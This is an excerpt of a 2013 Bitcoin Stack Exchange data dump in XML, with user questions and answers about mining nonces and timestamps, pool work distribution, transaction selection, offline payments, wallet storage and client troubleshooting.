  <row Id="12954" PostTypeId="1" AcceptedAnswerId="12961" CreationDate="2013-08-27T12:10:32.467" Score="7" ViewCount="2609" Body="&lt;p&gt;What is the reason for the timestamp field in the block header? Surely the nonce should be the only property that changes? Should the nonce reset to 0 everytime the timestamp changes?&lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="5406" LastEditDate="2016-03-14T13:26:09.157" LastActivityDate="2019-12-16T09:57:57.290" Title="Why the timestamp component of the block header?" Tags="|blockchain|mining-theory|timestamp|block-header|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12955" PostTypeId="1" AcceptedAnswerId="12962" CreationDate="2013-08-27T12:13:15.180" Score="8" ViewCount="3828" Body="&lt;p&gt;What does the mining-pool architecture look like? Obviously GPU's can hash data much faster than it can be distributed via the internet, so I assume pools must allocate a range of nonces for miners to work on at any given time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if there were 2 miners, would the pool server allocate nonces 1-100,000 to miner 1, 100,101-200,000 to miner 2, then keep allocating the work as each set of nonces are completed? Or do I have it wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried digging into the source of Eloipool, but it all seems very cryptic/there is very little (if any?) documentation?&lt;/p&gt;&#xA;" OwnerUserId="2266" LastActivityDate="2013-08-27T13:25:10.300" Title="How do mining pools distribute work effectively?" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12956" PostTypeId="1" AcceptedAnswerId="12963" CreationDate="2013-08-27T12:17:06.600" Score="6" ViewCount="923" Body="&lt;p&gt;The nonce field of a block header is 4 bytes, so the max nonce is: 4,294,967,295. That could be computed in a few seconds with a reasonable rig (solo mining) or much quicker on large pools. What happens at that point? I assume you'd change the timestamp and start over, but on extremely powerful pools, I'm sure it's feasible to compute all 4,294,967,295 nonces for every second of the timestamp, so what happens in that eventuality?&lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="5406" LastEditDate="2016-04-17T18:58:40.260" LastActivityDate="2016-04-17T18:58:40.260" Title="What happens when the nonce field overflows?" Tags="|mining-pools|mining-technical-details|nonce|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12957" PostTypeId="1" AcceptedAnswerId="12964" CreationDate="2013-08-27T12:21:43.930" Score="3" ViewCount="521" Body="&lt;p&gt;I saw &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1725/how-to-know-there-is-a-new-transaction&quot;&gt;this question&lt;/a&gt; about finding new transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do you pick which transactions to include in the block you're trying to add? Should it be in a certain order, or random? How many transactions should you include? Looking at the blockchain I've seen anywhere from just a few, to hundreds. Is the number of transactions something you'd vary when pool-mining to combat exhausting all possible nonces if up-to-date with the timestamp header? (Loosely related to my other recent questions).&lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2016-03-10T08:53:40.253" Title="How to 'pick' transactions to include when attempting to add a new block?" Tags="|transactions|mining-pools|block|transaction-selection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12958" PostTypeId="2" ParentId="12943" CreationDate="2013-08-27T12:31:15.810" Score="2" Body="&lt;p&gt;I have considered building a electrum usb-distro but the problem is it would be hard to keep it updated after each new release. However if there is enough interest I might do so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is to simply take a debian live-usb and install Electrum on it; you can follow the instructions for linux on the electrum site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any specific Electrum questions you are always welcome to join #electrum on freenode and ask your questions there. &lt;/p&gt;&#xA;" OwnerUserId="3211" LastActivityDate="2013-08-27T12:31:15.810" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="12959" PostTypeId="1" CreationDate="2013-08-27T12:33:09.110" Score="2" ViewCount="832" Body="&lt;p&gt;how secure and time efficient is offline bitcoin transactions or payments through bluetooth or NFC? The scenario of paying through your mobile (offline) and the receiver checks the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how can I confirm my payments (sender), as I am only offline device. And the online is the receiver.&lt;/p&gt;&#xA;" OwnerUserId="5893" LastActivityDate="2013-08-27T17:32:17.517" Title="Offline Bitcoin payments" Tags="|client|offline|nfc|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12960" PostTypeId="2" ParentId="12953" CreationDate="2013-08-27T13:19:36.173" Score="2" Body="&lt;p&gt;You've asked two different questions and already answered one of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solo miners get blocks from their peers on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Discovering peers is done by a bootstrapping process. Basically, the software comes with a default list of known nodes, and from these nodes the client learns about other nodes. More details are at &lt;a href=&quot;https://en.bitcoin.it/wiki/Satoshi_Client_Node_Discovery&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Satoshi_Client_Node_Discovery&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-27T13:19:36.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12961" PostTypeId="2" ParentId="12954" CreationDate="2013-08-27T13:21:36.477" Score="9" Body="&lt;p&gt;The timestamp exists so there will be a permanent record of when the block was found. The timestamp needs to pass some sanity tests for the block to be considered valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the key uses of the timestamp is in calculating difficulty retargets.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-27T13:21:36.477" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12962" PostTypeId="2" ParentId="12955" CreationDate="2013-08-27T13:25:10.300" Score="7" Body="&lt;p&gt;Traditionally, pools gave miners work units covering the entire nonce range 0-4,294,967,295. When the miner finishes work, he requests a new work unit with a different extraNonce (or payout address). Different miners also get work units with different details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reduce load, pools are now moving on to a setting where the miner can himself change details of the generation transaction and compute the Merkle root, so he can do as much work as he pleases without needing new assignment from the pool.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-27T13:25:10.300" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="12963" PostTypeId="2" ParentId="12956" CreationDate="2013-08-27T13:31:33.667" Score="5" Body="&lt;p&gt;Changing the timestamp is one way, but the more scalable method is to change the &quot;extraNonce&quot; field of the generation transaction, which changes the block header's Merkle root.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-27T13:31:33.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12964" PostTypeId="2" ParentId="12957" CreationDate="2013-08-27T13:36:16.603" Score="5" Body="&lt;p&gt;Basically, you can include whichever transactions you'd like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently most miners simply include all valid transactions they know of. It is cheap to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is currently a limit of 1 MB per block, so as transaction volume reaches these levels, miners will typically want to include transactions that have the best ratio of fee / data size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a more mature transaction fee framework evolves, miners will choose transactions to optimize for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Playing with transactions included is not needed to extend your work scope, as you can extend it indefinitely by changing the extraNonce.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2013-08-27T13:42:16.297" LastActivityDate="2013-08-27T13:42:16.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12965" PostTypeId="2" ParentId="12959" CreationDate="2013-08-27T13:41:13.027" Score="1" Body="&lt;p&gt;If the receiver is online, it is as good as fully online transactions. The receiver can check for validity and double-spends just as with any other transaction. In fact, if the sender is known to be offline, they are even faster and more secure as the sender cannot double-spend simultaneously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a sender your client software should be able to confirm that you've sent a sending transaction. However, without being online you do not know if the transaction propagated successfully. The receiver could try to trick you into believing the payment was never received, while secretly collecting the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the receiver is also offline it gets more complicated. It can work if both parties were previously online and set up a payment channel between them. Alternatively, if the coins are sufficiently old, the receiver was online previously and believes the sender will not go to great lengths to double-spend, he can receive the coins offline.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-27T13:41:13.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12966" PostTypeId="2" ParentId="12959" CreationDate="2013-08-27T13:41:31.180" Score="0" Body="&lt;p&gt;Only the sender can sign a valid transaction for his own funds, so for the sender an offline transaction is completely secure. The sender, as he is offline, cannot confirm whether the payment has been validated. &lt;a href=&quot;https://bitcoin.stackexchange.com/q/194/5406&quot;&gt;Since it is very hard to input an incorrect valid address&lt;/a&gt; you can be sure that the address you sent it to was the correct one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recipient is online, so he can immediately check whether your transaction is valid, i.e. whether you were in control of the funds that you sent him and if the amount is correct, even before the transaction is confirmed by the network. Since he specified the recipient address he only has to scan the unconfirmed transactions for a single recipient address to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my experience this works so: Amount is agreed upon, shop clerk puts shows you the bitcoin qr code, you send the amount, shop clerk confirms that the transaction has been posted, you are good to go.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-08-27T13:41:31.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12967" PostTypeId="2" ParentId="12952" CreationDate="2013-08-27T14:35:10.403" Score="1" Body="&lt;p&gt;You could try to:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download the blockchain as a file and import it&lt;/li&gt;&#xA;&lt;li&gt;force your client to switch to other peers&lt;/li&gt;&#xA;&lt;li&gt;have you tried turning it off and on again?&lt;/li&gt;&#xA;&lt;li&gt;have you tried reinstalling it?&lt;/li&gt;&#xA;&lt;li&gt;have you tried putting your computer into another network?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Otherwise more information about what you have tried would be helpful, and we could use a bit more information such as, which version of the client and what operating system you are using. :)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;Just googled your problem again and found a &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/956&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug report&lt;/a&gt; from 2012 where a person had &amp;quot;socket recv error: 10054&amp;quot;. Somebody suggested the following (Please read the whole thing before applying!):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Take a look at (folder is hidden):&lt;/p&gt;&#xA;&lt;p&gt;C:\ProgramData\boost_interprocess\Select LastBootUpTime from Win32_OperatingSystem&lt;/p&gt;&#xA;&lt;p&gt;This one contains 2 files, 1 which consists of 32 &amp;quot;random&amp;quot; characters and looks like a hash and a BitcoinURL file of size 0. The files are there sometimes after a hard crash.&lt;/p&gt;&#xA;&lt;p&gt;Delete the whole C:\ProgramData\boost_interprocess folder, restart the client, remove the database logs from the datadir and everything will work again.&lt;/p&gt;&#xA;&lt;p&gt;It's related to stale files after a crash, which seem to come from a used lib in the Bitcoin client (some of the Boost ones).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;To which the thread starter replied that it solved his problem.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MacOS&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to a &lt;a href=&quot;https://bitcoin.stackexchange.com/q/13074/5406&quot;&gt;comment on a similar question by Neil Neyman&lt;/a&gt; the respective folder can be found on MacOS at ~/Library/Application Support/Bitcoin/&lt;/p&gt;&#xA;&lt;p&gt;To show your library directory in finder, hold the alt key while viewing the &amp;quot;GO&amp;quot; menu in the top menubar.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-09-04T17:10:48.803" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12968" PostTypeId="2" ParentId="6129" CreationDate="2013-08-27T14:58:30.223" Score="0" Body="&lt;p&gt;No major banks are &quot;backing&quot; Bitcoin. Some have been hostile towards Bitcoin, while some have remained neutral.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=264679.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=264679.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6305" LastActivityDate="2013-08-27T14:58:30.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12969" PostTypeId="2" ParentId="12959" CreationDate="2013-08-27T15:26:31.923" Score="0" Body="&lt;p&gt;I understand your question a bit another way: Do you possibly ask how to tell the network, that you've sent money?&lt;br&gt;&#xA;You can &lt;code&gt;createrawtransaction&lt;/code&gt; in your phone, send it via Bluetooth to the receiver, and the receiver will send it to the network (&lt;code&gt;sendrawtransaction&lt;/code&gt;). Of course those are bitcoin(d)/(-Qt) commands, but maybe you have used them.&lt;br&gt;&#xA;He can also provide some kind of tunnel you &amp;lt;-&gt; (receiver) &amp;lt;-&gt; internet to allow you to send your transaction by yourself.&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-08-27T15:26:31.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12970" PostTypeId="1" CreationDate="2013-08-27T15:27:51.397" Score="1" ViewCount="252" Body="&lt;p&gt;Let's say a ripple user were to extend trust to both Bitstamp and Snapswap to owe him 100 USD. He offers to trade USD-Bitstamp-IOU for USD-Snapswap-IOU at an exchange rate of 1:1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would he have to register this activity with a USGov institution? Would taxes on this transactions be due?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if he did the same with an exchange rate of 1:1.01 and vice versa, i.e. taking an exchange commission of 1%?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-09-06T08:56:28.790" Title="Legal question regarding rippling balances between Ripple gateways" Tags="|ripple|legal|ripple-gateways|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12972" PostTypeId="2" ParentId="12959" CreationDate="2013-08-27T17:32:17.517" Score="2" Body="&lt;p&gt;If you're paying through your mobile phone, it's most likely that your app creates and signs a transaction based on unspent inputs available to your address. This is then passed on to the receiver who posts it to the blockchain. This transaction cannot be modified, it can only be posted to the network in order to prove payment. So, from your standpoint, payment through Bluetooth, NFC, or even by sharing the transaction through a QR code is secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, as bitcoin is network based, unless you can connect to the network [through the internet] you can confirm nothing, but as the sender of the transaction, you don't really need to. You can/should just assume that the input are spent, because once that transaction is created it can be posted at any time as valid (provided that it's inputs aren't already spent).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can still check the blockchain at any point in the future when you do have internet access to confirm that your inputs are spent. And if they are not, you can go ahead and spend them in another transaction. When the original transaction enters the blockchain after this new one, it is rejected because it's inputs have already been spent. So, it's actually in the interest of the receiver to post the blockchain and confirm payment as soon as possible. This doesn't really matter for the sender.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-08-27T17:32:17.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12973" PostTypeId="1" AcceptedAnswerId="12976" CreationDate="2013-08-27T18:33:07.433" Score="5" ViewCount="129" Body="&lt;p&gt;This question might seem quite strange. but I am wondering if its possible to delegate the creation of a transaction to a third party, without having to trust them with your private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the same way that with credit cards you can preauthorise a transaction, i'm wondering if its mathematically possible to do the same with bit coins. What I'm thinking of is having the client create the transaction, from the private key, and then forward the transaction to, and only to the authorising body. That way they would then hold a cryptographically secure transaction which at a later time if appropriate they could distribute to the rest of the bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so specifically:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does this leave open the risk of that person double spending the same bitcoin?&lt;/li&gt;&#xA;&lt;li&gt;Is there a mathematical window between the point when the private key is no longer required, and when the distribution process has begun.  (e.g.  adding it the current block?)&lt;/li&gt;&#xA;&lt;li&gt;Has anyone solved this already?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Edit for clarity:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key aspect is the ability for someone other than the person sending the bitcoin to 'hold the transaction' and at a later date to either forget the transaction (so it never left the original wallet) or to distribute the transaction, so it is accepted by the bitchain as having been transferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be required that the only trust that the sender needs to have is that the transaction holding place is trusted to either distribute or drop the transaction fairly.  In particular that they do not obtain access to transfer additional money later, or different amounts etc..&lt;/p&gt;&#xA;" OwnerUserId="3003" LastEditorUserId="3003" LastEditDate="2013-08-27T19:16:42.660" LastActivityDate="2013-08-28T06:35:50.560" Title="Delegating the creation of a transaction" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12974" PostTypeId="1" AcceptedAnswerId="12979" CreationDate="2013-08-27T18:54:23.117" Score="0" ViewCount="1335" Body="&lt;p&gt;A question about bandwidth &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5321/what-is-the-average-bandwidth-used-by-the-default-client&quot;&gt;was asked and answered in Nov 2011&lt;/a&gt;... we are now Aug 2013 and the usage of bitcoin has grown enormously since then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So just as an update to that question I ask it again with the benefit of being here and now. I hope this is allowed.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-09-05T03:35:35.523" Title="What is the bandwidth of the standard bitcoin client as at August 2013?" Tags="|bitcoin-core|bandwidth|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12975" PostTypeId="1" AcceptedAnswerId="12978" CreationDate="2013-08-27T18:57:03.863" Score="2" ViewCount="1757" Body="&lt;p&gt;So far I've just been using Bitcoin-Qt for win7 and the regular android bitcoin wallet from andreas. But now I want to store my bitcoins in a safe place and I'm not sure which wallet client I should go with as there seems to be a bunch on the market now. Electrum, Bitcoin-QT, Armory, Blockchain.info, Mycelium (android), Trezor, and others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to store my bitcoins in a safe place where even if *&lt;em&gt;I never update the client app *&lt;/em&gt; I can still send/receive my bitcoins in the future even if the code changes or what not. Obviously there is always the worst case scenario if one day one of the client developers decided to be malicious and write code that sends everyone's bitcoins to their own address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I'm going to just get a separate phone just to store the bitcoins instead of having to get an entire separate laptop to store it. Its just im afraid one day if the apps get outdated and the developer stops supporting it, would that affect the btc I have stored on there?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2013-08-27T20:56:01.830" LastActivityDate="2013-08-28T15:51:28.660" Title="Researching Bitcoin Wallet clients to use? Which one provides the best peace of mind?" Tags="|wallet|coldstorage|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12976" PostTypeId="2" ParentId="12973" CreationDate="2013-08-27T18:58:40.180" Score="2" Body="&lt;p&gt;Yes this is possible, and there are a couple of clients that let you do this out of the box. Electrum is popular for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of the private key is that you are able to &quot;sign&quot; the transaction. Once the transaction has been created and signed actually anybody can broadcast it to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that it is even technically feasible not to use the bitcoin client but recreate a transaction, sign it and broadcast it as a string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit to answer third point also in an edit from the OP:&lt;/strong&gt; If you are suggesting that you can possibly drop off signed transactions everywhere using the same bitcoins to create a double-spend, you would also have to prevent any one of the recipients from broadcasting. As soon as the transaction is broadcast you can consider that those coins are spent, because a later transaction would be rejected. It is not therefore in the interest of the recipient to hold a transaction for you. The answer is in another function of the original code which allows escrow payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.localbitcoins.com&quot; rel=&quot;nofollow&quot; title=&quot;Localbitcoins.com&quot;&gt;Localbitcoins.com&lt;/a&gt; operate an escrow process, I couldn't say for sure if they use the original functionality in the bitcoin code or have written it themselves, but essentially it is the same idea. Coins from your unspent balance are set aside and only released when certain conditions are met. This prevents the double-spend because once the coins are in the escrow they cannot be used in another transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you ought to have a look at how transactions are actually constructed, as it is not as simple as saying that &quot;I have a balance of n bitcoins and I spend x bitcoins&quot;. There is the notion inputs and outputs, spent coins and unspent coins.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastEditorUserId="5157" LastEditDate="2013-08-28T06:35:50.560" LastActivityDate="2013-08-28T06:35:50.560" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12977" PostTypeId="2" ParentId="12973" CreationDate="2013-08-27T19:01:09.150" Score="2" Body="&lt;p&gt;This is actually built in to the system. One can have a third party create a transaction but before posting it to the blockchain, you would still have to sign it in order for it to be valid. (Not entirely on-topic, but there's information concerning rebroadcasting raw transactions &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; that might appeal to you.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your questions specifically&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, but only if you're blindly signing transactions before sending them out. Anyone can create any number of transactions that use your bitcoin, but only the ones you sign will be valid and accepted into the blockchain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No, the source of the bitcoins and the destinations are defined at the same time. There is no period in which coins are freely floating around that can be accessed without a private key.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I don't know of any major commercial operations doing this, but you can create raw unsigned transactions as well as sign them with &lt;a href=&quot;http://brainwallet.org/#tx&quot; rel=&quot;nofollow&quot;&gt;brainwallet&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-08-27T19:01:09.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12978" PostTypeId="2" ParentId="12975" CreationDate="2013-08-27T19:25:13.927" Score="1" Body="&lt;p&gt;From this description, rather than choosing the best client to use, you should simply export your private keys to a wallet file. At any point in the future, you can load your wallet file into any almost any client and access your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not all clients currently allow you to do this, notably the Bitcoin Wallet app on Android by Andreas Schildbach. In this case, you should send your coins to another address created with Electrum, Bitcoin-QT, Armory or Blockchain.info as all of these allow you to export your private keys. There are other apps/web apps that allow you to expot you wallet, these are just the ones that you mentioned that I know can do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you export you wallet containing your private keys, you can keep it on any device. You don't necessarily need to buy a new laptop or even a phone. A simple USB key could work and you could load the keys from it onto any computer any time you needed to spend your funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you don't even need a client application. It's possible to generate a public/private key pair outside of applications connected to the block chain. And any bitcoin sent to the public address will be available using the private key. But, I wouldn't recommend this unless you really know what you're doing. If you don't do this in a &lt;strong&gt;cryptographically secure&lt;/strong&gt; manner, someone else could generate the same public/private key pair and access your bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:  The Bitcoin Wallet app on Android by Andreas Schildbach does, in fact, have an export option. &lt;/p&gt;&#xA;" OwnerUserId="6388" LastEditorUserId="6388" LastEditDate="2013-08-28T15:51:28.660" LastActivityDate="2013-08-28T15:51:28.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12979" PostTypeId="2" ParentId="12974" CreationDate="2013-08-27T20:16:21.217" Score="0" Body="&lt;p&gt;Since we've already asked this question, let's try to re-answer it with some additional insights:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without mining or relaying, in order to participate in the network, one would need enough time to download all transactions within a block before the next block is found in order to stay synced with the network. Considering that a block has a maximum size of 1 Megabyte and that the block time is about 10 minutes, this puts the theoretical minimum download speed at about 1 Megabyte per 10 minutes or 1.7kbps (according to Google)-- much slower than a dial up modem. Notice that this figure is constant -- so the size of network does not dictate how much bandwidth is required to participate in the network, so this was true in 2011 and will be true in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the original question, we wanted to run a wallet from work. If all we want to do is trade bitcoin, this should be fine (provided that you do download the initial values for the block chain outside of work), but to do more on the network...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we're relaying transactions, not just downloading them, the calculations can vary wildly. Here our bandwidth should be proportional to the number of transactions posted per second (which should be predictable) as well as the number of node to which you are connected (which isn't easily predictable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we're mining, you're going to have to broadcast your mined blocks, which as mentioned before, can have a maximum size of 1 MB, and you're going to want to broadcast this as fast possible -- not just within the 10 minutes. You could put the theoretical minimum required upload speed at 1.7kbps, but it's simply not practical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that this doesn't the question about how much average-bandwidth clients us, but if you're only posting and reading transactions, we shouldn't need more than about 1.7kbps. If you begin mining and relaying, we're going to need more, but it's hard to predict how much. &lt;/p&gt;&#xA;" OwnerUserId="6388" LastEditorUserId="6388" LastEditDate="2013-08-28T15:31:47.527" LastActivityDate="2013-08-28T15:31:47.527" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12980" PostTypeId="2" ParentId="12827" CreationDate="2013-08-27T20:31:00.103" Score="0" Body="&lt;p&gt;If you have a service that accepts bitcoin, you should consider posting it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.spendbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;https://www.spendbitcoins.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or specifically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.spendbitcoins.com/submit-place/&quot; rel=&quot;nofollow&quot;&gt;https://www.spendbitcoins.com/submit-place/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-08-27T20:31:00.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12981" PostTypeId="2" ParentId="11979" CreationDate="2013-08-27T20:44:20.027" Score="2" Body="&lt;p&gt;Each client can handle a blockchain reorg differently, internally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin-Qt reference client simply uses the longest chain and rejects any competing blocks at the same height.  So until there is a new block that is longer than the chain the client is already working on, competing chains that are not of a greater height are essentially ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if a block reorg occurs any transactions in those blocks that get reorged will first go back into the client's memory pool before blocks for the new longest chain are processed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can cause a transaction to have had at least one confirmation but then revert to having no confirmations (or a lower number of confirmations) after the reorg if the new longest chain didn't include that transaction.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-08-27T20:44:20.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12982" PostTypeId="1" CreationDate="2013-08-27T23:11:26.833" Score="-2" ViewCount="203" Body="&lt;p&gt;What I do understand:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Banks have inflated currency and through this the value of just about everything has been manipulated to make people who do next to nothing for it become rich.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't understand:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How yet another &quot;currency&quot; will solve anything, or what Bitcoin is supposed to be solving?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How computers are creating currency that I'm supposed to trade my labour(or fruits of) to a human being who somehow claims ownership of this currency?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to become the owner of such currency?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How the value of this currency is determined, if it came from nothing?&lt;/p&gt;&#xA;" OwnerUserId="6534" LastEditorUserId="5406" LastEditDate="2016-04-28T14:42:21.460" LastActivityDate="2016-04-28T14:42:21.460" Title="So a computer is now called a &quot;Miner&quot; and is creating currency?" Tags="|mining-theory|mining-reward|currencies|value|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
